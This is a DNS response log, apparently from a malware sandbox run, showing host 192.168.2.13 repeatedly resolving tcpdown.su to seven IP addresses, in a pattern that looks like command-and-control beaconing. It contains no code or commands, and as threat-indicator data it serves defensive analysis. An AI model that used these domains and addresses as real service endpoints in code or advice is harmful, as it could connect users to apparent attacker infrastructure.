Jan 7, 2025 01:24:22.726716042 CET	1.1.1.1	192.168.2.13	0x5e2c	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.734534979 CET	1.1.1.1	192.168.2.13	0x5e2c	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.742490053 CET	1.1.1.1	192.168.2.13	0x5e2c	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:22.750432968 CET	1.1.1.1	192.168.2.13	0x5e2c	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.653049946 CET	1.1.1.1	192.168.2.13	0x407e	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.653049946 CET	1.1.1.1	192.168.2.13	0x407e	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.653049946 CET	1.1.1.1	192.168.2.13	0x407e	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.653049946 CET	1.1.1.1	192.168.2.13	0x407e	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.653049946 CET	1.1.1.1	192.168.2.13	0x407e	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.653049946 CET	1.1.1.1	192.168.2.13	0x407e	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.653049946 CET	1.1.1.1	192.168.2.13	0x407e	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.661282063 CET	1.1.1.1	192.168.2.13	0x7daa	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.669178009 CET	1.1.1.1	192.168.2.13	0x7daa	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.677517891 CET	1.1.1.1	192.168.2.13	0x7daa	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.685467958 CET	1.1.1.1	192.168.2.13	0x7daa	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:25.694758892 CET	1.1.1.1	192.168.2.13	0x7daa	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.594722033 CET	1.1.1.1	192.168.2.13	0x6979	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.594722033 CET	1.1.1.1	192.168.2.13	0x6979	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.594722033 CET	1.1.1.1	192.168.2.13	0x6979	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.594722033 CET	1.1.1.1	192.168.2.13	0x6979	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.594722033 CET	1.1.1.1	192.168.2.13	0x6979	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.594722033 CET	1.1.1.1	192.168.2.13	0x6979	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.594722033 CET	1.1.1.1	192.168.2.13	0x6979	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.602669001 CET	1.1.1.1	192.168.2.13	0x3cea	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.610693932 CET	1.1.1.1	192.168.2.13	0x3cea	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.619409084 CET	1.1.1.1	192.168.2.13	0x3cea	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.628381014 CET	1.1.1.1	192.168.2.13	0x3cea	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:27.636765003 CET	1.1.1.1	192.168.2.13	0x3cea	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.315872908 CET	1.1.1.1	192.168.2.13	0x8d48	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.315872908 CET	1.1.1.1	192.168.2.13	0x8d48	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.315872908 CET	1.1.1.1	192.168.2.13	0x8d48	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.315872908 CET	1.1.1.1	192.168.2.13	0x8d48	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.315872908 CET	1.1.1.1	192.168.2.13	0x8d48	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.315872908 CET	1.1.1.1	192.168.2.13	0x8d48	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.315872908 CET	1.1.1.1	192.168.2.13	0x8d48	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.324209929 CET	1.1.1.1	192.168.2.13	0xdb0	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.332458973 CET	1.1.1.1	192.168.2.13	0xdb0	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.340795040 CET	1.1.1.1	192.168.2.13	0xdb0	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.348953009 CET	1.1.1.1	192.168.2.13	0xdb0	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:29.356779099 CET	1.1.1.1	192.168.2.13	0xdb0	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.947309017 CET	1.1.1.1	192.168.2.13	0x3f53	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.947309017 CET	1.1.1.1	192.168.2.13	0x3f53	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.947309017 CET	1.1.1.1	192.168.2.13	0x3f53	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.947309017 CET	1.1.1.1	192.168.2.13	0x3f53	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.947309017 CET	1.1.1.1	192.168.2.13	0x3f53	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.947309017 CET	1.1.1.1	192.168.2.13	0x3f53	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.947309017 CET	1.1.1.1	192.168.2.13	0x3f53	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.957164049 CET	1.1.1.1	192.168.2.13	0x930a	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.964874029 CET	1.1.1.1	192.168.2.13	0x930a	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.972716093 CET	1.1.1.1	192.168.2.13	0x930a	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.988115072 CET	1.1.1.1	192.168.2.13	0x930a	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:30.995891094 CET	1.1.1.1	192.168.2.13	0x930a	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.534534931 CET	1.1.1.1	192.168.2.13	0x3a4e	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.534534931 CET	1.1.1.1	192.168.2.13	0x3a4e	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.534534931 CET	1.1.1.1	192.168.2.13	0x3a4e	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.534534931 CET	1.1.1.1	192.168.2.13	0x3a4e	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.534534931 CET	1.1.1.1	192.168.2.13	0x3a4e	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.534534931 CET	1.1.1.1	192.168.2.13	0x3a4e	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.534534931 CET	1.1.1.1	192.168.2.13	0x3a4e	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.542169094 CET	1.1.1.1	192.168.2.13	0x4f48	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.550470114 CET	1.1.1.1	192.168.2.13	0x4f48	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.558219910 CET	1.1.1.1	192.168.2.13	0x4f48	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.566365957 CET	1.1.1.1	192.168.2.13	0x4f48	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:32.573657036 CET	1.1.1.1	192.168.2.13	0x4f48	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.445555925 CET	1.1.1.1	192.168.2.13	0xbe63	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.445555925 CET	1.1.1.1	192.168.2.13	0xbe63	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.445555925 CET	1.1.1.1	192.168.2.13	0xbe63	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.445555925 CET	1.1.1.1	192.168.2.13	0xbe63	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.445555925 CET	1.1.1.1	192.168.2.13	0xbe63	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.445555925 CET	1.1.1.1	192.168.2.13	0xbe63	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.445555925 CET	1.1.1.1	192.168.2.13	0xbe63	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.453820944 CET	1.1.1.1	192.168.2.13	0x962b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.461951017 CET	1.1.1.1	192.168.2.13	0x962b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.477947950 CET	1.1.1.1	192.168.2.13	0x962b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.486088037 CET	1.1.1.1	192.168.2.13	0x962b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:34.494225025 CET	1.1.1.1	192.168.2.13	0x962b	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.357218027 CET	1.1.1.1	192.168.2.13	0xfdd6	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.357218027 CET	1.1.1.1	192.168.2.13	0xfdd6	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.357218027 CET	1.1.1.1	192.168.2.13	0xfdd6	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.357218027 CET	1.1.1.1	192.168.2.13	0xfdd6	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.357218027 CET	1.1.1.1	192.168.2.13	0xfdd6	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.357218027 CET	1.1.1.1	192.168.2.13	0xfdd6	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.357218027 CET	1.1.1.1	192.168.2.13	0xfdd6	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.365113974 CET	1.1.1.1	192.168.2.13	0x1277	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.373543024 CET	1.1.1.1	192.168.2.13	0x1277	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.382086992 CET	1.1.1.1	192.168.2.13	0x1277	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.390851974 CET	1.1.1.1	192.168.2.13	0x1277	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:36.399635077 CET	1.1.1.1	192.168.2.13	0x1277	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.340318918 CET	1.1.1.1	192.168.2.13	0x42cc	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.340318918 CET	1.1.1.1	192.168.2.13	0x42cc	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.340318918 CET	1.1.1.1	192.168.2.13	0x42cc	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.340318918 CET	1.1.1.1	192.168.2.13	0x42cc	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.340318918 CET	1.1.1.1	192.168.2.13	0x42cc	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.340318918 CET	1.1.1.1	192.168.2.13	0x42cc	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.340318918 CET	1.1.1.1	192.168.2.13	0x42cc	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.348136902 CET	1.1.1.1	192.168.2.13	0x5beb	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.356368065 CET	1.1.1.1	192.168.2.13	0x5beb	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.364136934 CET	1.1.1.1	192.168.2.13	0x5beb	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.371786118 CET	1.1.1.1	192.168.2.13	0x5beb	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:39.380558014 CET	1.1.1.1	192.168.2.13	0x5beb	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.253247976 CET	1.1.1.1	192.168.2.13	0x6b5f	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.253247976 CET	1.1.1.1	192.168.2.13	0x6b5f	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.253247976 CET	1.1.1.1	192.168.2.13	0x6b5f	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.253247976 CET	1.1.1.1	192.168.2.13	0x6b5f	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.253247976 CET	1.1.1.1	192.168.2.13	0x6b5f	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.253247976 CET	1.1.1.1	192.168.2.13	0x6b5f	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.253247976 CET	1.1.1.1	192.168.2.13	0x6b5f	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.261248112 CET	1.1.1.1	192.168.2.13	0x2afd	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.269546986 CET	1.1.1.1	192.168.2.13	0x2afd	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.277347088 CET	1.1.1.1	192.168.2.13	0x2afd	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.284759045 CET	1.1.1.1	192.168.2.13	0x2afd	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:41.292408943 CET	1.1.1.1	192.168.2.13	0x2afd	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.861386061 CET	1.1.1.1	192.168.2.13	0x8561	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.861386061 CET	1.1.1.1	192.168.2.13	0x8561	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.861386061 CET	1.1.1.1	192.168.2.13	0x8561	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.861386061 CET	1.1.1.1	192.168.2.13	0x8561	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.861386061 CET	1.1.1.1	192.168.2.13	0x8561	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.861386061 CET	1.1.1.1	192.168.2.13	0x8561	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.861386061 CET	1.1.1.1	192.168.2.13	0x8561	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.869966984 CET	1.1.1.1	192.168.2.13	0xdf71	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.878156900 CET	1.1.1.1	192.168.2.13	0xdf71	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.886506081 CET	1.1.1.1	192.168.2.13	0xdf71	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.894560099 CET	1.1.1.1	192.168.2.13	0xdf71	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:42.902522087 CET	1.1.1.1	192.168.2.13	0xdf71	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.487781048 CET	1.1.1.1	192.168.2.13	0x29ab	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.487781048 CET	1.1.1.1	192.168.2.13	0x29ab	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.487781048 CET	1.1.1.1	192.168.2.13	0x29ab	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.487781048 CET	1.1.1.1	192.168.2.13	0x29ab	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.487781048 CET	1.1.1.1	192.168.2.13	0x29ab	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.487781048 CET	1.1.1.1	192.168.2.13	0x29ab	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.487781048 CET	1.1.1.1	192.168.2.13	0x29ab	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.496813059 CET	1.1.1.1	192.168.2.13	0x9632	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.505218983 CET	1.1.1.1	192.168.2.13	0x9632	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.514102936 CET	1.1.1.1	192.168.2.13	0x9632	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.522221088 CET	1.1.1.1	192.168.2.13	0x9632	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:45.529933929 CET	1.1.1.1	192.168.2.13	0x9632	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.381422043 CET	1.1.1.1	192.168.2.13	0xd5c2	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.381422043 CET	1.1.1.1	192.168.2.13	0xd5c2	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.381422043 CET	1.1.1.1	192.168.2.13	0xd5c2	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.381422043 CET	1.1.1.1	192.168.2.13	0xd5c2	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.381422043 CET	1.1.1.1	192.168.2.13	0xd5c2	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.381422043 CET	1.1.1.1	192.168.2.13	0xd5c2	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.381422043 CET	1.1.1.1	192.168.2.13	0xd5c2	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.389658928 CET	1.1.1.1	192.168.2.13	0x12b1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.397716045 CET	1.1.1.1	192.168.2.13	0x12b1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.405522108 CET	1.1.1.1	192.168.2.13	0x12b1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.413279057 CET	1.1.1.1	192.168.2.13	0x12b1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:47.421324015 CET	1.1.1.1	192.168.2.13	0x12b1	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.974544048 CET	1.1.1.1	192.168.2.13	0xc42c	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.974544048 CET	1.1.1.1	192.168.2.13	0xc42c	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.974544048 CET	1.1.1.1	192.168.2.13	0xc42c	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.974544048 CET	1.1.1.1	192.168.2.13	0xc42c	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.974544048 CET	1.1.1.1	192.168.2.13	0xc42c	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.974544048 CET	1.1.1.1	192.168.2.13	0xc42c	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.974544048 CET	1.1.1.1	192.168.2.13	0xc42c	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.982649088 CET	1.1.1.1	192.168.2.13	0x3901	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:48.990386009 CET	1.1.1.1	192.168.2.13	0x3901	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:49.005072117 CET	1.1.1.1	192.168.2.13	0x3901	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:49.013305902 CET	1.1.1.1	192.168.2.13	0x3901	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:49.021465063 CET	1.1.1.1	192.168.2.13	0x3901	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.885551929 CET	1.1.1.1	192.168.2.13	0xb39d	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.885551929 CET	1.1.1.1	192.168.2.13	0xb39d	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.885551929 CET	1.1.1.1	192.168.2.13	0xb39d	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.885551929 CET	1.1.1.1	192.168.2.13	0xb39d	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.885551929 CET	1.1.1.1	192.168.2.13	0xb39d	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.885551929 CET	1.1.1.1	192.168.2.13	0xb39d	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.885551929 CET	1.1.1.1	192.168.2.13	0xb39d	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.893562078 CET	1.1.1.1	192.168.2.13	0x683f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.901458025 CET	1.1.1.1	192.168.2.13	0x683f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.910176992 CET	1.1.1.1	192.168.2.13	0x683f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.918119907 CET	1.1.1.1	192.168.2.13	0x683f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:50.926814079 CET	1.1.1.1	192.168.2.13	0x683f	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.815009117 CET	1.1.1.1	192.168.2.13	0x9f4d	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.815009117 CET	1.1.1.1	192.168.2.13	0x9f4d	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.815009117 CET	1.1.1.1	192.168.2.13	0x9f4d	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.815009117 CET	1.1.1.1	192.168.2.13	0x9f4d	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.815009117 CET	1.1.1.1	192.168.2.13	0x9f4d	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.815009117 CET	1.1.1.1	192.168.2.13	0x9f4d	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:24:52.815009117 CET	1.1.1.1	192.168.2.13	0x9f4d	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
